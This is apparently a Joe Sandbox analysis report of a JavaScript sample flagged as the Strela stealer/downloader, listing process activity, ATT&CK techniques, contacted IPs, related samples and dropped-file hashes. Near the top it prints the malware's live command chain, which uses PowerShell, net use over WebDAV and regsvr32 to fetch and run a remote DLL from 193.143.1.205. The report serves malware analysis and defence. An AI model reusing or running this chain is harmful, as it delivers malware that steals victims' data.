Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2752019937704124971.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
2752019937704124971.js	10%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/x	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/d	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/L	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/x	net.exe, 00000006.00000003.1794477160.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799133588.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1799879419.00000158C3CC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/L	net.exe, 00000006.00000003.1794477160.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799133588.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/l	net.exe, 00000006.00000003.1794477160.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799133588.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://crl.ver)	svchost.exe, 00000008.00000002.3019347493.00000158C3A00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/d	net.exe, 00000006.00000003.1794477160.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799133588.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1798913312.00000181AE258000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799208470.00000181AE2AE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1793515070.00000181AE2AB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1794477160.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799133588.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1799879419.00000158C3CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588552
Start date and time:	2025-01-11 02:18:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2752019937704124971.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.219.243.226, 3.233.129.217, 52.22.41.97, 52.6.155.20, 2.16.168.107, 2.16.168.105, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 2.22.242.11, 2.22.242.123, 4.245.163.56, 23.217.172.185, 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, d.4.1.9.1.6.7.1.0.0.0.0.0.0.0.0.1.0.0.9.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:19:21	API Interceptor	25x Sleep call for process: powershell.exe modified
20:19:25	API Interceptor	1x Sleep call for process: net.exe modified
20:19:25	API Interceptor	2x Sleep call for process: svchost.exe modified
20:19:38	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17985298091058916725.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073497087394468
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr8:KooCEYhgYEL0In
MD5:	340C2547CA2F08C4A3F34FA7EB0D5C33
SHA1:	876C0CA6F1817EE0BF054083AE15E0EBC1D410F2
SHA-256:	0A451943223BC66859A89EF401B8BBD8F3B91935DC40AC94EBB258CAC1BB3A31
SHA-512:	91F23D4EF6B945A19A702A92784E0333C13846422272597B12DEABBDB43DDF2C916B1E686C262DED7E49ADD33643657E40CF6E10B3400387D58788F2D25FFBE0
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x39b96f60, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42211521512809425
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:paza/vMUM2Uvz7DO
MD5:	33D9EECD58ABEEEC45741826F9AEAA0B
SHA1:	43D66C684903A705C16363AE6C70426700F92C6D
SHA-256:	7383ED49A780B21182D6D95C27FC0C837DCB382A356D5EFE48E694CE745307BD
SHA-512:	FFFE95E72B70AC897A3E0E77BF16FCC83B9C67AFF0D0A16AE1DFB77C034893902701C8ABD15EA2E09D42FF4F8335B4CF92B53A2CF65309484D2C78AE26567BF5
Malicious:	false
Preview:	9.o`... .......A.......X\...;...{......................0.!..........{A......}#.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................in......}..................t........}#..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0766415877866752
Encrypted:	false
SSDEEP:	3:Om//lKYeIyk3lkjn13a/U2mttollcVO/lnlZMxZNQl:xtKz7k3W53qOtGOewk
MD5:	6B9BDEDCB0E466C85624E5E5C1F9A7AC
SHA1:	C200AAC05FC2D1BFFD702C3076D7D58EF09DF6CA
SHA-256:	0EDE99CF5B15F9732CA88FC6C703B579687C6B1F8A89AC7FBA98FE9A94F5D0DA
SHA-512:	D3FC162D9AB101352147090CA1C91C2197E2A34F9E182F29EB17D496A7A6ABB5DB8AD6A2E5D7A1CA715CEB659AEA0E30A18E177A18B2391E08F4C4FFD6EA1463
Malicious:	false
Preview:	GG-......................................;...{.......}#......{A..............{A......{A..........{A]................t........}#.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.192685129983377
Encrypted:	false
SSDEEP:	6:iO4qVNs5q2Pwkn2nKuAl9OmbnIFUtSqVNRhZmwsqVNR7kwOwkn2nKuAl9OmbjLJ:7nm5vYfHAahFUtZt/Lf5JfHAaSJ
MD5:	99AAE9EE278C60A121706FF0495B0CAA
SHA1:	1BE31CE94A8D4BA1A775011166B93FE4093F77E3
SHA-256:	8567AEC1B0E6EAAFF87B7D966B9245A0742C29FF8C2055A904C288A50963EE81
SHA-512:	09CEBD490D3801F4D592D135256E06C7BDD8AB280A2809328D975B8B4744FB91606C5783F6E22D86EC69186549FE8E215EAE4F220BDC1069420CFDDCA6A20A2A
Malicious:	false
Preview:	2025/01/10-20:19:25.766 1f10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:19:25.768 1f10 Recovering log #3.2025/01/10-20:19:25.768 1f10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.192685129983377
Encrypted:	false
SSDEEP:	6:iO4qVNs5q2Pwkn2nKuAl9OmbnIFUtSqVNRhZmwsqVNR7kwOwkn2nKuAl9OmbjLJ:7nm5vYfHAahFUtZt/Lf5JfHAaSJ
MD5:	99AAE9EE278C60A121706FF0495B0CAA
SHA1:	1BE31CE94A8D4BA1A775011166B93FE4093F77E3
SHA-256:	8567AEC1B0E6EAAFF87B7D966B9245A0742C29FF8C2055A904C288A50963EE81
SHA-512:	09CEBD490D3801F4D592D135256E06C7BDD8AB280A2809328D975B8B4744FB91606C5783F6E22D86EC69186549FE8E215EAE4F220BDC1069420CFDDCA6A20A2A
Malicious:	false
Preview:	2025/01/10-20:19:25.766 1f10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:19:25.768 1f10 Recovering log #3.2025/01/10-20:19:25.768 1f10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1869884683372
Encrypted:	false
SSDEEP:	6:iO4qVNouVq2Pwkn2nKuAl9Ombzo2jMGIFUtSqVNjgZmwsqVNpSIkwOwkn2nKuAlx:7nbVvYfHAa8uFUtZxg/L2I5JfHAa8RJ
MD5:	1EBB4A57B61158F49E2665DA79259BF6
SHA1:	47D97B8524B5A9CF3F58E02E3FFFD71376AE1984
SHA-256:	534D806306A90DCC321AC414521FBE964484A6ECC1EB7AEA5F5584226F53F0FB
SHA-512:	BBD1CE84C1EE5688E2EEF14CE19CA5E5C9E5F51F84A74F073FC6A4F5CB29443FDBB3F382107A74C1FDF8C48BE473231A8D166D078B37FEDF07E3F94491052DC5
Malicious:	false
Preview:	2025/01/10-20:19:25.861 1f80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:19:25.863 1f80 Recovering log #3.2025/01/10-20:19:25.864 1f80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1869884683372
Encrypted:	false
SSDEEP:	6:iO4qVNouVq2Pwkn2nKuAl9Ombzo2jMGIFUtSqVNjgZmwsqVNpSIkwOwkn2nKuAlx:7nbVvYfHAa8uFUtZxg/L2I5JfHAa8RJ
MD5:	1EBB4A57B61158F49E2665DA79259BF6
SHA1:	47D97B8524B5A9CF3F58E02E3FFFD71376AE1984
SHA-256:	534D806306A90DCC321AC414521FBE964484A6ECC1EB7AEA5F5584226F53F0FB
SHA-512:	BBD1CE84C1EE5688E2EEF14CE19CA5E5C9E5F51F84A74F073FC6A4F5CB29443FDBB3F382107A74C1FDF8C48BE473231A8D166D078B37FEDF07E3F94491052DC5
Malicious:	false
Preview:	2025/01/10-20:19:25.861 1f80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:19:25.863 1f80 Recovering log #3.2025/01/10-20:19:25.864 1f80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.954263700159399
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqosBdOg2HhZcaq3QYiubInP7E4T3y:Y2sRdskdMHm3QYhbG7nby
MD5:	D0CBD3A9F1C48C1227C3FD1C3EA35B0A
SHA1:	73DC8AC2E1DD5BDDCF4B6D04C5C46EC8468DFC2D
SHA-256:	B0D3873CB6FF07917FDC3E15EA66F89C8817E35E972276EDAF973480B44D0F07
SHA-512:	1A3B58EC9F66C176F0176EB1D6D2A1C5E70689C36782D5983BAD6457205E6477F5C48257CCE268CF4C24879E61484D634A2825F85394E4455455F5113844B204
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118378185079","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138511},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ba303715-871b-4690-98ef-54b75ac524ba.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.954263700159399
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqosBdOg2HhZcaq3QYiubInP7E4T3y:Y2sRdskdMHm3QYhbG7nby
MD5:	D0CBD3A9F1C48C1227C3FD1C3EA35B0A
SHA1:	73DC8AC2E1DD5BDDCF4B6D04C5C46EC8468DFC2D
SHA-256:	B0D3873CB6FF07917FDC3E15EA66F89C8817E35E972276EDAF973480B44D0F07
SHA-512:	1A3B58EC9F66C176F0176EB1D6D2A1C5E70689C36782D5983BAD6457205E6477F5C48257CCE268CF4C24879E61484D634A2825F85394E4455455F5113844B204
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118378185079","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138511},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.254316733718816
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7476S74:etJCV4FiN/jTN/2r8Mta02fEhgO73go/
MD5:	207A9C45AB23AC54733BF5BD189D6769
SHA1:	FE4A2E4019DA657CEFC959D227412DCCA784D6AA
SHA-256:	C170D6FD48E7E974C6240E2849555A57A4E4884344EA7E3B36CE3E8FE32C2D56
SHA-512:	DC1716C6BBF051979FCA7339680764C879A0C3C63E382D18EC25D7C7AEA886944FEE853113774829DF8A8BCA3EC198CAAEBABE2700CA021AC07654BA22CB7A32
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.180104369744658
Encrypted:	false
SSDEEP:	6:iO4qVNDYSuuVq2Pwkn2nKuAl9OmbzNMxIFUtSqVNDsSgZmwsqVNDynIkwOwkn2nv:7npPVvYfHAa8jFUtZpsSg/LpqI5JfHAo
MD5:	887BB433C4AD09C9D93D96DF03C04241
SHA1:	753C183A4943E9C9A59C33D821E6BD5F01E38A1E
SHA-256:	F19237134E74DD69079D226EB191B8CC3830FDCCABA878AAA8A3FF9AE2FEB8F2
SHA-512:	944E7B98191E2C1976AA491D1B7B2B812FD644FE34D4A22D49A9AC3D01C079E468ABB6FA063F722BC77445494E9ADAF1188FBA5A085F5A7A395BEBB8D66467B4
Malicious:	false
Preview:	2025/01/10-20:19:26.187 1f80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:19:26.194 1f80 Recovering log #3.2025/01/10-20:19:26.209 1f80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.180104369744658
Encrypted:	false
SSDEEP:	6:iO4qVNDYSuuVq2Pwkn2nKuAl9OmbzNMxIFUtSqVNDsSgZmwsqVNDynIkwOwkn2nv:7npPVvYfHAa8jFUtZpsSg/LpqI5JfHAo
MD5:	887BB433C4AD09C9D93D96DF03C04241
SHA1:	753C183A4943E9C9A59C33D821E6BD5F01E38A1E
SHA-256:	F19237134E74DD69079D226EB191B8CC3830FDCCABA878AAA8A3FF9AE2FEB8F2
SHA-512:	944E7B98191E2C1976AA491D1B7B2B812FD644FE34D4A22D49A9AC3D01C079E468ABB6FA063F722BC77445494E9ADAF1188FBA5A085F5A7A395BEBB8D66467B4
Malicious:	false
Preview:	2025/01/10-20:19:26.187 1f80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:19:26.194 1f80 Recovering log #3.2025/01/10-20:19:26.209 1f80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444701867528454
Encrypted:	false
SSDEEP:	384:yezci5tsiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rLs3OazzU89UTTgUL
MD5:	C081C2CFD575386904A007F9D125A1AB
SHA1:	02AB76DA0B5C8D6E0320A1D71AAD85006A53A778
SHA-256:	B8D5800F155577206BCCBEA0FE0E0D7AB5141F639D84E8A88176AFF538A93FD1
SHA-512:	0F17B04BA0688CA09A9ABC13EECFF2C35E48805300F97C7697E21AED6168A34B3FAE524B6387D905996FE40BF37A3920D1A9254C645C08186A94364F840595DC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.773817859199033
Encrypted:	false
SSDEEP:	48:7Mmp/E2ioyV8ioy9oWoy1Cwoy1IKOioy1noy1AYoy1Wioy1hioybioyyoy1noy1x:71pju8F/XKQnypb9IVXEBodRBk2
